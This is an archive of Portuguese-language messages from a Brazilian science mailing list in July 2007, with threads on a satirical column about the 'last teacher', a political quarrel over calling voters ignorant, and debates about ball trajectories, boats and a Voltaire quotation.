alguma coisa (risos).

Cheguei a ver aqui mesmo nessa mailing list algo sobre cientistas que faziam
experiências com primatas e seres humanos (não me lembro se foi depois de
uma pergunta do Bulcão).

O mais impressionante pra mim é que eles sobrevivem. Gato com pseudo-asas,
zebra com cara de montagem do photoshop, lygers.... Eu, hein?

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] A última professora
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 21:07

Caro Gil,

Belo discurso ideológico. Mas o que tem ele a ver com essa lista?

[ ]s

Alvaro Augusto de Almeida
http://alvaroaugusto.blogspot.com
alvaro@lunabay.com.br



----- Original Message -----
From: "Gil" <nanolink01@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 17, 2007 8:14 PM
Subject: Re: [ciencialist] A última professora


Murilo:

É comum as pessoas que se consideram da elite intelectual, chamarem o povo
(em sentido abstrato, uma massa amorfa, talvez, indefinida, quase homogênea)
de ignorante. O que isso significa? Que estão desqualificados para votar e
escolher seus governantes? Que a opinião dos "não-ignorantes" vale mais, ou
levaria o país a melhores rumos? O povo seria ignorante porque? Por não
partilhar da opiniao da classe "esclarecida"? Por não ter educação de
qualidade (raciocínio circular, já que a educação depende de, entre outras
coisas, um bom sistema educacional!)?

Não acredito que o povo seja desqualificado para votar, ou para opinar. Se
ignoram o que a "elite" intelectual consideram importante (sejam os
clássicos da filosofia, as novas teorias da física, o poder de processamento
do novíssimo processador-protótipo da AMD, o último artigo do economista
x), isso não quer dizer que também ignorem as idéias básicas dos candidatos
, e suas consequências para suas próprias vidas. Não significa que saibam
que há prós e contras nas idéias que os candidatos podem muito bem levar
para frente ou não. Sabem que existe uma pessoa real e interesses ocultos,
enfim, um mundo inteiro abaixo da aparência de cada candidato, que a maioria
das pessoas sabe muito bem ser falsa. O povo sabe sim, ler nas entrelinhas,
e tem memória razoavelmente funcional. Já vi muitos políticos dando tiro
no proprio pé por crer que não seja dessa maneira. E quando as coias dão
errado, quando o povo não concorda com o "saber" da elite intelectual, ele
é chamado de ignorante. Essa "fera adormecida" semrpe será chamada de
Besta-fera, quando puxar o tapete dos "formadores de opinião".

Foi assim no século 19, 20, está sendo assim no 21.

O texto enviado tem os seus problemas, é claro. Mas desqualificar o voto do
povo chamando-o de ignorante não invalida em nada o texto (que, por sinal,
é mais uma brincadeira do que um texto realmente abrangente).

Sobre o "povo ignorante"
http://diplo.uol.com.br/imprima779

Sobre os problemas da educação (texto muito mais aprofundado)
http://www.jornaldaciencia.org.br/Detalhe.jsp?id=17683

Obs: "Ignorante" é um termo relativo, vago, e pode ser simplesmente um meio
preconceituoso de desqualificar uma pessoa, um grupo, uma sociedade. É
possível chamar *qualquer* pessoa de ignorante, em diversos contextos.
Aquele contexto ao qual eu me refiro é o do velho termo pejorativo atirado
aos que discordam da opinião dos que se consideram a vanguarda intelectual
, independente do ramo da atividade humana no qual eles se considerem
vanguarda .


Gil
Em 17/07/07, murilo filo <avalanchedrive@hotmail.com> escreveu:
>
> ''o declínio do magistério: um complô contra
> a educação, criado pela classe dominante(10% da população), que detinha
> mais
> de 50% da renda nacional. ''
> Esta frase ridícula desqualifica qualquer gracinha imaginativa do autor,
> com
> certeza, já extinto.
> Seria bem validada, se ele na sequência tivesse dito que os 90% da galera
> ignara passaram a comandar no voto a metástase da ignorância, como nunca
> antes nesse país...
> Arre... M.
>
> >From: "Esteban Moreno" <estebanlmoreno@gmail.com>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] A última professora
> >Date: Tue, 17 Jul 2007 14:08:24 -0300
> >
> >A última professora *Carlos Eduardo Novaes* *Jornal O Dia, 02/12/90*
> >
> >Estamos em 2989 e alguns cientistas, trabalhando nas ruínas de um sítio
> >arqueológico (local outrora conhecido como Jacarepaguá), encontraram uma
> >mandíbula de mulher. Levada ao laboratório, descobriu-se que ela
> pertencia
> >a
> >uma professora. Não uma professora qualquer, mas provavelmente a última
> da
> >espécie classificada como de 1º Grau que viveu por volta de 2020 num
> antigo
> >país chamado Brasil.
> >
> >No final do séc. XXI, o Brasil que conhecemos se tornou um aglomerado de
> >tribos independentes, expressando-se nos mais diferentes idiomas. A
> >descoberta do que ficou conhecido como a Professora de Jacarepaguá (uma
> >versão mais moderna do Homem de Neanderthal) tornou possível encontrar as
> >razões da dissolução do país.
> >
> >Buscando nos livros, os cientistas perceberam que houve uma época - entre
> o
> >início do séc. XX e meados dos anos 50 - em que professores desse extinto
> >país ocupavam uma posição invejável na escala social. As famílias
> >monogâmicas das classes médias (e algumas altas) orgulhavam-se de poderem
> >encaminhar suas filhas para a profissão. Casar com uma professora era a
> >aspiração suprema de muitos homens. Elas eram olhadas com respeito,
> >admiração e desfrutavam de um *status* semelhante ao dos militares.
> >
> >Reconhecidas na sua missão histórica de educar, recebiam - acreditem - um
> >salário que chegava ao final do mês. Alguns iam além.
> >
> >Não se sabe precisar a data, mas parece que foi no final dos anos 70 que
> o
> >magistério começou a desabar na escala social. Por mais que quebrem a
> >cabeça, nossos cientistas não conseguem entender as razões dessa queda
> >vertiginosa. Não terá sido por falta de escolas, porque o país
> esforçava-se
> >para entrar na modernidade e necessitava ampliar sua rede escolar. Não
> terá
> >sido também por falta de quem educar, porque esse atrasado país somava
> mais
> >de 50 milhões de analfabetos e semiletrados no início dos anos 90. Muito
> >menos pela possibilidade de substituir professoras por robôs, televisores
> e
> >computadores. Por que então os magistrados passaram a ser tratados como
> os
> >servos do antigo Egito?
> >
> >A princípio, suspeitou-se que esse povo atrasado e tropical tivesse uma
> >caixa craniana inferior a das raças desenvolvidas. Mais tarde,
> >encontraram-se outras razões para o declínio do magistério: um complô
> >contra
> >a educação, criado pela classe dominante(10% da população), que detinha
> >mais
> >de 50% da renda nacional. Não interessava a ela ver o saber
> democratizado,
> >ou seus privilégios estariam ameaçados. Os professores despencaram para
> os
> >últimos lugares da tabela econômica, equiparando-se aos profissionais
> (não
> >especializados) mais mal pagos desse triste país. Alguns, ganhando
> >salário-mínimo, recebiam menos do que os operários que ajudaram a
> levantar
> >os Jardins Suspensos da Babilônia.
> >
> >O resultado é que, a partir do início do século XXI, o professorado
> >tornou-se uma espécie em extinção. Documentos da época informaram que,
> >quando uma jovem anunciava o desejo de ser professora, a família a
> colocava
> >de castigo. Era preferível ganhar a vida como chacrete em programa de
> >auditório. Os cientistas pesquisaram o desaparecimento de outras
> atividades
> >nesse país: funileiro, cocheiro, acendedor de lampiões. Ocorre que esses
> >profissionais foram engolidos pelos avanços da civilização. No caso dos
> >professores, não há progresso nem tecnologia capaz de substituir sua
> >presença. É a professora quem nos leva pela mão na travessia para as
> >primeiras letras. É ela quem nos coloca no ponto de partida e, com uma
> >palmadinha no traseiro, parece dizer:"Agora vai à luta".
> >
> >Segundo os cientistas, os governos da época, preocupados com questões
> mais
> >transcendentais, não perceberam a escassez de professores no mercado. Foi
> >preciso que as escolas começassem a fechar e os donos das escolas
> >particulares esperneassem desesperados para o governo tomar providências.
> >
> >Que providências? Importar professores, como fez com o álcool. No início
> >dava-se preferência à Portugal e às ex-colônias. Mas eles também tinham
> >suas
> >crianças para educar, de modo que o Governo teve que recorrer ao
> Paraguai,
> >Bolívia, Guianas. Logo, os países desenvolvidos - que já dominavam a
> >cultura
> >do Brasil - perceberam o alcance do negócio e trataram de enviar,
> >gratuitamente, bandos de professores às escolas brasileiras.
> >
> >O país tornou-se uma Babel. Em algumas regiões, ensinava-se em japonês;
> em
> >outras, em alemão ou inglês, ou italiano ou espanhol. Em apenas uma única
> >escola, em Jacarepaguá, uma professora resistia, ensinando os alunos em
> >português. Sua morte tornou-se um marco na história da Educação nesse
> país.
> >Foi enterrada com honras de herói nacional e o monumento ao "Professor
> >Desconhecido", erguido no antigo Centro da Cidade, reproduz seu rosto na
> >figura principal. Ao pé do monumento, os dizeres: " A última professora
> >brasileira, homenagem dos seus ex-alunos." Foi a última frase que se
> >escreveu nesse país em português.
> >
> >
> >[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] A última professora
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 22:25

Olá, Álvaro:

O "discurso" é minha opinião: O povo não é desqualificado para votar ou
opinar. O termo "ignorante" não significa coisa alguma, em se falando de
temas tão complexos. Não creio que isso seja necessariamente um pensamento
ideológico.

Entre outros, percebi essa preocupação no Sagan, Einstein, ou Roosevelt:
http://www.theodore-roosevelt.com/trrotptr.html

Acho que deve-se respeitar o povo, e não, menospreza-lo. A divulgação
científica, a educação, entre outras coisas, depende de ter uma percepção
mais adequada de tudo isso. Se é off, perdoem os outros listeiros, isso não
se repetirá (não enquanto eu me lembrar de que não tô num fórum genérico)

GiL

Em 17/07/07, Alvaro Augusto (U) <alvaro@daelt.sh06.com> escreveu:
>
> Caro Gil,
>
> Belo discurso ideológico. Mas o que tem ele a ver com essa lista?
>
> [ ]s
>
> Alvaro Augusto de Almeida
> http://alvaroaugusto.blogspot.com
> alvaro@lunabay.com.br
>
>
>
> ----- Original Message -----
> From: "Gil" <nanolink01@gmail.com>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, July 17, 2007 8:14 PM
> Subject: Re: [ciencialist] A última professora
>
>
> Murilo:
>
> É comum as pessoas que se consideram da elite intelectual, chamarem o
> povo
> (em sentido abstrato, uma massa amorfa, talvez, indefinida, quase
> homogênea)
> de ignorante. O que isso significa? Que estão desqualificados para votar e
> escolher seus governantes? Que a opinião dos "não-ignorantes" vale mais,
> ou
> levaria o país a melhores rumos? O povo seria ignorante porque? Por não
> partilhar da opiniao da classe "esclarecida"? Por não ter educação de
> qualidade (raciocínio circular, já que a educação depende de, entre outras
> coisas, um bom sistema educacional!)?
>
> Não acredito que o povo seja desqualificado para votar, ou para opinar. Se
> ignoram o que a "elite" intelectual consideram importante (sejam os
> clássicos da filosofia, as novas teorias da física, o poder de
> processamento
> do novíssimo processador-protótipo da AMD, o último artigo do economista
> x), isso não quer dizer que também ignorem as idéias básicas dos
> candidatos
> , e suas consequências para suas próprias vidas. Não significa que saibam
> que há prós e contras nas idéias que os candidatos podem muito bem levar
> para frente ou não. Sabem que existe uma pessoa real e interesses ocultos,
> enfim, um mundo inteiro abaixo da aparência de cada candidato, que a
> maioria
> das pessoas sabe muito bem ser falsa. O povo sabe sim, ler nas
> entrelinhas,
> e tem memória razoavelmente funcional. Já vi muitos políticos dando tiro
> no proprio pé por crer que não seja dessa maneira. E quando as coias dão
> errado, quando o povo não concorda com o "saber" da elite
> intelectual, ele
> é chamado de ignorante. Essa "fera adormecida" semrpe será chamada de
> Besta-fera, quando puxar o tapete dos "formadores de opinião".
>
> Foi assim no século 19, 20, está sendo assim no 21.
>
> O texto enviado tem os seus problemas, é claro. Mas desqualificar o voto
> do
> povo chamando-o de ignorante não invalida em nada o texto (que, por
> sinal,
> é mais uma brincadeira do que um texto realmente abrangente).
>
> Sobre o "povo ignorante"
> http://diplo.uol.com.br/imprima779
>
> Sobre os problemas da educação (texto muito mais aprofundado)
> http://www.jornaldaciencia.org.br/Detalhe.jsp?id=17683
>
> Obs: "Ignorante" é um termo relativo, vago, e pode ser simplesmente um
> meio
> preconceituoso de desqualificar uma pessoa, um grupo, uma sociedade. É
> possível chamar *qualquer* pessoa de ignorante, em diversos contextos.
> Aquele contexto ao qual eu me refiro é o do velho termo pejorativo atirado
> aos que discordam da opinião dos que se consideram a vanguarda
> intelectual
> , independente do ramo da atividade humana no qual eles se considerem
> vanguarda .
>
>
> Gil
> Em 17/07/07, murilo filo <avalanchedrive@hotmail.com> escreveu:
> >
> > ''o declínio do magistério: um complô contra
> > a educação, criado pela classe dominante(10% da população), que detinha
> > mais
> > de 50% da renda nacional. ''
> > Esta frase ridícula desqualifica qualquer gracinha imaginativa do autor,
> > com
> > certeza, já extinto.
> > Seria bem validada, se ele na sequência tivesse dito que os 90% da
> galera
> > ignara passaram a comandar no voto a metástase da ignorância, como nunca
> > antes nesse país...
> > Arre... M.
> >
> > >From: "Esteban Moreno" <estebanlmoreno@gmail.com>
> > >Reply-To: ciencialist@yahoogrupos.com.br
> > >Subject: [ciencialist] A última professora
> > >Date: Tue, 17 Jul 2007 14:08:24 -0300
> > >
> > >A última professora *Carlos Eduardo Novaes* *Jornal O Dia, 02/12/90*
> > >
> > >Estamos em 2989 e alguns cientistas, trabalhando nas ruínas de um sítio
> > >arqueológico (local outrora conhecido como Jacarepaguá), encontraram
> uma
> > >mandíbula de mulher. Levada ao laboratório, descobriu-se que ela
> > pertencia
> > >a
> > >uma professora. Não uma professora qualquer, mas provavelmente a última
> > da
> > >espécie classificada como de 1º Grau que viveu por volta de 2020 num
> > antigo
> > >país chamado Brasil.
> > >
> > >No final do séc. XXI, o Brasil que conhecemos se tornou um aglomerado
> de
> > >tribos independentes, expressando-se nos mais diferentes idiomas. A
> > >descoberta do que ficou conhecido como a Professora de Jacarepaguá (uma
> > >versão mais moderna do Homem de Neanderthal) tornou possível encontrar
> as
> > >razões da dissolução do país.
> > >
> > >Buscando nos livros, os cientistas perceberam que houve uma época -
> entre
> > o
> > >início do séc. XX e meados dos anos 50 - em que professores desse
> extinto
> > >país ocupavam uma posição invejável na escala social. As famílias
> > >monogâmicas das classes médias (e algumas altas) orgulhavam-se de
> poderem
> > >encaminhar suas filhas para a profissão. Casar com uma professora era a
> > >aspiração suprema de muitos homens. Elas eram olhadas com respeito,
> > >admiração e desfrutavam de um *status* semelhante ao dos militares.
> > >
> > >Reconhecidas na sua missão histórica de educar, recebiam - acreditem -
> um
> > >salário que chegava ao final do mês. Alguns iam além.
> > >
> > >Não se sabe precisar a data, mas parece que foi no final dos anos 70
> que
> > o
> > >magistério começou a desabar na escala social. Por mais que quebrem a
> > >cabeça, nossos cientistas não conseguem entender as razões dessa queda
> > >vertiginosa. Não terá sido por falta de escolas, porque o país
> > esforçava-se
> > >para entrar na modernidade e necessitava ampliar sua rede escolar. Não
> > terá
> > >sido também por falta de quem educar, porque esse atrasado país somava
> > mais
> > >de 50 milhões de analfabetos e semiletrados no início dos anos 90.
> Muito
> > >menos pela possibilidade de substituir professoras por robôs,
> televisores
> > e
> > >computadores. Por que então os magistrados passaram a ser tratados como
> > os
> > >servos do antigo Egito?
> > >
> > >A princípio, suspeitou-se que esse povo atrasado e tropical tivesse uma
> > >caixa craniana inferior a das raças desenvolvidas. Mais tarde,
> > >encontraram-se outras razões para o declínio do magistério: um complô
> > >contra
> > >a educação, criado pela classe dominante(10% da população), que detinha
> > >mais
> > >de 50% da renda nacional. Não interessava a ela ver o saber
> > democratizado,
> > >ou seus privilégios estariam ameaçados. Os professores despencaram para
> > os
> > >últimos lugares da tabela econômica, equiparando-se aos profissionais
> > (não
> > >especializados) mais mal pagos desse triste país. Alguns, ganhando
> > >salário-mínimo, recebiam menos do que os operários que ajudaram a
> > levantar
> > >os Jardins Suspensos da Babilônia.
> > >
> > >O resultado é que, a partir do início do século XXI, o professorado
> > >tornou-se uma espécie em extinção. Documentos da época informaram que,
> > >quando uma jovem anunciava o desejo de ser professora, a família a
> > colocava
> > >de castigo. Era preferível ganhar a vida como chacrete em programa de
> > >auditório. Os cientistas pesquisaram o desaparecimento de outras
> > atividades
> > >nesse país: funileiro, cocheiro, acendedor de lampiões. Ocorre que
> esses
> > >profissionais foram engolidos pelos avanços da civilização. No caso dos
> > >professores, não há progresso nem tecnologia capaz de substituir sua
> > >presença. É a professora quem nos leva pela mão na travessia para as
> > >primeiras letras. É ela quem nos coloca no ponto de partida e, com uma
> > >palmadinha no traseiro, parece dizer:"Agora vai à luta".
> > >
> > >Segundo os cientistas, os governos da época, preocupados com questões
> > mais
> > >transcendentais, não perceberam a escassez de professores no mercado.
> Foi
> > >preciso que as escolas começassem a fechar e os donos das escolas
> > >particulares esperneassem desesperados para o governo tomar
> providências.
> > >
> > >Que providências? Importar professores, como fez com o álcool. No
> início
> > >dava-se preferência à Portugal e às ex-colônias. Mas eles também tinham
> > >suas
> > >crianças para educar, de modo que o Governo teve que recorrer ao
> > Paraguai,
> > >Bolívia, Guianas. Logo, os países desenvolvidos - que já dominavam a
> > >cultura
> > >do Brasil - perceberam o alcance do negócio e trataram de enviar,
> > >gratuitamente, bandos de professores às escolas brasileiras.
> > >
> > >O país tornou-se uma Babel. Em algumas regiões, ensinava-se em japonês;
> > em
> > >outras, em alemão ou inglês, ou italiano ou espanhol. Em apenas uma
> única
> > >escola, em Jacarepaguá, uma professora resistia, ensinando os alunos em
> > >português. Sua morte tornou-se um marco na história da Educação nesse
> > país.
> > >Foi enterrada com honras de herói nacional e o monumento ao "Professor
> > >Desconhecido", erguido no antigo Centro da Cidade, reproduz seu rosto
> na
> > >figura principal. Ao pé do monumento, os dizeres: " A última professora
> > >brasileira, homenagem dos seus ex-alunos." Foi a última frase que se
> > >escreveu nesse país em português.
> > >
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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/07/2007 00:10

Preste atenção, Takata! Parece que vc não leu o e-mail em que eu já lhe
respondo a pergunta que vc faz abaixo, veja:

[ A trajetória da bola só descreveria uma reta inclinada 45° *se* a
aceleração horizontal fosse aplicada exatamente igual a gravitacional. ]

Esqueceu também que foi vc quem afirmou que a trajetória da bola seria uma
reta e não uma curva parabólica... E eu discordei.

[]s

José Renato
.....................................

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 15, 2007 10:11 PM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Já esclarecemos essas possibilidades anteriormente.
> O que não me parece razoável é descartar a força ou empuxo do vento.

Vc fez as simulações?

Ache algum valor para ax q combinado com o ay = g resulte em uma
trajetória *reta* e não em arco de parábola e aí a gente conversa.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um carro idem
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/07/2007 00:24

Olá, Silvio! Vejo que vcs já têm experiência na manobra de abordagem...
Quando li imaginei que seu filho estava fazendo isso como aventura pela
primeira vez... É algo semelhante ao que ocorre nas praias daqui. Quando
chega o verão os jornais gostam de mostrar a molecada dando saltos mortais
na areia... Só que eles fazem isso o tempo todo e não só no verão como
tentam os desavisados e causam danos na coluna, cabeça, etc.
[]s
José Renato
.....................................

----- Original Message -----
From: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 12, 2007 1:39 AM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem


Renato:

Mas é com o navio parado que há risco, se for abordado a favor das ondas.
entretanto, do lado contra a maré o mar fica calmo.
E não é possível abordar um navio em movimento isso não existe. O caso é que
nós tínhamos muito treino para manobrar o barco em aguas revoltas pois
quando há um recife ou uma ilha, é exatamente onde as ondas quebram que tem
peixe. Inclusive há muitos afundamentos nestes locais, quando turistas ou
quem não é no ramo, se aventura... Meu filho ganhou um bom dinheiro
mergulhando e resgatando um barco de aluminio e motor de popa que afundou
exatamente num lugar de ondas fortes.
Andar de moto é muito mais ariscado.

um abraço,
silvio.

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, July 11, 2007 11:29 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem


Olá, Silvio!
Com 17 anos não temos a noção do perigo que essa manobra tem...
Mesmo com um mar sem muita marolas o risco do navio maior danificar e/ou
afundar o menor é grande.
Creio que no seu caso o navio estava parado, o que não se aplica aos
fenômenos mencionados abaixo.
Abraços
José Renato
.....................................

----- Original Message -----
From: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 09, 2007 9:58 AM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem

Renato:

Sobre barcos.

Tive um, pesquyeiro de 7 metros. Aqui, na colonia todos os pescadores
velhos
dizem que não é seguro aproximar-se de um navio grande.

Um casra que estava num imenso mineroil na Samarco passou pelo rádio (eu
era
PX) um pedido para levar cigarros.
Ele pagava bem.
Nenhum pescador quiz ir: meu filho, com 17 anos pegou o barco e foi,
sozinho, encostou no costado do navio - ele disse que é igual a uma
piscina
do lado contra as ondas: entregou os cigarros, recebeu a grana e um
uisque...
Assim, pelo menos para os navios poitados na Samarco, essa teoria não
prevalece. Meu filho foi porquê, como tudo na vida, devemos enfrentar
pequenos desafios.

bom dia,
silvio.

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, July 02, 2007 9:35 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem

Comentários após JR1...
....................................
----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 01, 2007 10:52 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem

Algumas observações and questions:

1- Remo é uma alavanca, quer seja usado sobre o gancho na borda do barco
quer diretamente apenas com as mãos. Pergunto: que tipo de alavanca é o
remo? Interfixa, interpotente ou inter-resistente?

2- "JR - Os movimentos da água são difíceis de se determinar, mas os
pescadores
de pequeno curso sabem que não devem se aproximar de um barco maior pois
podem ser "sugados" pelo deslocamento provocado na água pelo casco ou
pelas
hélices."
Não é bem assim. Dois barcos navegando próximos determinam um fluxo de
água
entre eles com velocidade maior que dos outros lados dos barcos. Bernoulli
justifica a aproximação entre eles; é equivalente a soprar entre duas
bolas
próximas dependuradas.
JR1 - Esse efeito que vc menciona não é o que prevalesse no caso aventado
de
pequenos barcos de pesca. Os movimentos mais significativos provocados na
água são o do deslocamento do barco maior e o das hélices.

3- O acréscimo de velocidade horizontal adquirido pela bola após a
primeira
quicada só (penso eu) pode ser justificado pela rotação da bola em sentido
anti horário (em relação ao visto no filme). Empuxo do ar (ou vácuo) na
área
da bola é incompatível com o observado (e calculado pelo Roberto).
JR1 - Repetindo a resposta anterior, afirmo que o que determina a brusca
aceleração da bola após o primeiro quicar no chão ainda está
indeterminada.
Há duas possibilidades mais visíveis: a rotação da bola e irregularidade
no
piso.

4- E o avião? Já Decolou? Quem tem dúvida pense assim: que aconteceria se
a
esteira 'corresse' no mesmo sentido e valor da velocidade do avião
conforme
este adquire velocidade em relação ar?
JR1 - Aqui vc já define o referencial para a medida da velocidade: o ar.
No
caso questionado estamos de acordo que o avião decola da esteira quando
sua
velocidade é medida em relação ao ar ou ao chão.

5- Força de atrito não existe e não caracteriza corpo, superfície,
natureza
ou qqer força natural. Esse componente da força total de apoio é, sem
dúvida, muitas vezes útil. A lei de Coulomb-Morin para superfícies secas
(Fat = µ.N) denota bem sua utilidade ... todavia, notem, é função de N,
para
deixar claro que ela e N pertencem a algo mais geral. Se um bloco está
apoiado sobre um plano inclinado, sem deslizar, e alguém perguntar "como é
a
reação total de apoio?", não há o que pensar duas vezes para responder "é
a
equilibrante do peso do bloco!", portanto, vertical, para cima e de mesmo
valor que m.g.

6- Sucesso! Acabei de chegar da cidade de Três Marias - MG (quiuspa! 9
horas
de viagem!) onde fiz palestra na 4a feira à noite e exposição de uns 20
experimentos que levei prá lá, na 5a feira à noite. Saboreei um 'surubim
grelhado à beira do Rio São Francisco, visitei a Votorantin-metais (maior
produtora de zinco do Brasil) --- tudo na base de van para transporte
(sprinter), carro à disposição, hotel etc.; aceitei o convite da
Votorantin,
prefeitura e Secret. da Educação. Ah! agora tenho algumas barras de zinco
para fazer um bocado de experiências!

inté a próxima ........
aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================

Parabéns pelo seu sucesso em Três Marias!
Serve pelo menos para recuperar do cansaço pelas horas de viagem...

[]s

José Renato
........................................................................

-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 30 de junho de 2007 20:53
Assunto: Re: [ciencialist] Jogar uma bola a 100km/h de um carro
a100km/h:osresultados

[ ... ]

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SUBJECT: Re: [ciencialist] voltaire (ele teria vergomnha de ser citado dessaforma..:-)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/07/2007 00:37

Homero:
[ Se toda idéia for "permitida", se formos "lutar" para defende-las, mesmo
as incorretas (do ponto de vista científico), todas elas se tornarão
igualmente inúteis. ]
..........................................

Não é isso que consta na frase atribuída a Voltaire... Veja e reinterprete:

"Pode ser que não estejamos de acordo com as idéias dos outros, mas devemos
estar dispostos a morrer para defender a liberdade de todas as idéias".
Voltaire

A proposição de Voltaire é de estarmos dispostos a lutar até a morte para
defender "a liberdade de todas as idéia" e não defender "todas as idéias".
Aqui, como sempre, devemos observar se a ordem dos tratores alteram ou não o
pão duro.

[]s

José Renato
...............................................

----- Original Message -----
From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 13, 2007 2:50 PM
Subject: Re: [ciencialist] voltaire (ele teria vergomnha de ser citado
dessaforma..:-)


Olá Alvaro

Alvaro: "Tenho dúvidas quanto à primeira, mas nas duas últimas ele estava
completamente enganado, pois não conhecia as teorias do Big Bang e da
evolução."

Mesmo quanto a primeira, acho que ele estava enganado. Embora seja uma frase
bonita, de "impacto", na prática nem sempre é possível ou razoável agir
assim.

Por isso existem os crime de calúnia, difamação e injúria. Por isso
revisionismo nazista na Alemanhã é proibido. Por isso é preciso, mesmo
quanto a idéias, analisar de forma racional suas consequências e sua
periculosidade.

E na ciência, conhecimento determinado pelo método científico, isso
simplesmente não funciona. Idéias tem de ser abandonadas, para que as
corretas sejam percebidas e se avance. Se toda idéia for "permitida", se
formos "lutar" para defende-las, mesmo as incorretas (do ponto de vista
científico), todas elas se tornarão igualmente inúteis.

Abandonar ideias falsas e incorretas é parte fundamental da pesquisa
científica. Sem isso, uma aula de engenharia ou de física deveria ensinar,
ao lado de matérias como "resistência de materiais e estruturas", Feng Shui
e rabdomancia. Ou ao lado da evolução, criacionismo. E não apenas o tolo
criacionsimo bíblico, mas todos os tipos, de todas as religiões, e ainda, ao
lado da cosmologia, a Terra em forma de semi-esfera, que se apoia em
elefantes que estão sobre uma tartaruga, etc.

Acho que até o Amauri percebe a tolice desse comportamento (mas não tenho
muita certeza..:-).

Idéias, no campo da filosofia, da subjetividade, até podem ser respeitadas
embora conflitantes. Em ciência, seria apenas tolice manter a micro-biologia
ao lado dos miasmas maléficos ou xamanismo.

Um abraço.

Homero





----- Original Message -----
From: Alvaro Augusto (U)
To: ciencialist@yahoogrupos.com.br
Sent: Friday, July 13, 2007 1:26 PM
Subject: Re: [ciencialist] voltaire


Tenho dúvidas quanto à primeira, mas nas duas últimas ele estava
completamente enganado, pois não conhecia as teorias do Big Bang e da
evolução.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "Amauri N. Sanches Jr " <amaurij@gmail.com>
To: <Acropolis_@yahoogrupos.com.br>; "ciencialist"
<ciencialist@yahoogrupos.com.br>; <cascata_de_luz@yahoogrupos.com.br>;
<sandraamauri@yahoo.com.br>; "Lucimary Vargas"
<lucimary.vargas@gmail.com>;
<lucia2245@hotmail.com>
Sent: Friday, July 13, 2007 12:29 PM
Subject: [ciencialist] voltaire

"Pode ser que não estejamos de acordo com as idéias dos outros, mas
devemos
estar dispostos a morrer para defender a liberdade de todas as idéias".
Voltaire

"O acaso é uma palavra sem sentido. Nada pode existir sem causa."
Voltaire

"A falsa ciência gera ateus; a verdadeira ciência leva os homens a se
curvar
diante da divindade."
Voltaire
--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire

"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês





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SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/07/2007 01:31

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> [ A trajetória da bola só descreveria uma reta inclinada 45° *se* a
> aceleração horizontal fosse aplicada exatamente igual a
> gravitacional. ]
>
> Esqueceu também que foi vc quem afirmou que a trajetória da bola
> seria uma reta e não uma curva parabólica... E eu discordei.

Eu não falei em reta de 45o. Em havendo uma componente horizontal de
aceleração a trajetória será uma reta. O grau de inclinação varia de
acordo com a proporção q a componente horizontal representar da
vertical - se forem iguais a inclinação será de 45o.

Q vc discordou é claro. Mas falta vc demonstrar q uma trajetória em
arco de parábola é descrita se houver uma aceleração horizontal além
da vertical.

Ache um ax na simulação q, com ay = g, resulte em uma trajetória de
arco de parábola. Qdo vc achar, aí a gente conversa.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] RG - tradução de texto.
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/07/2007 12:19

On 7/17/07, J.Victor <j.victor.neto@uol.com.br> wrote:
> Lista,
>
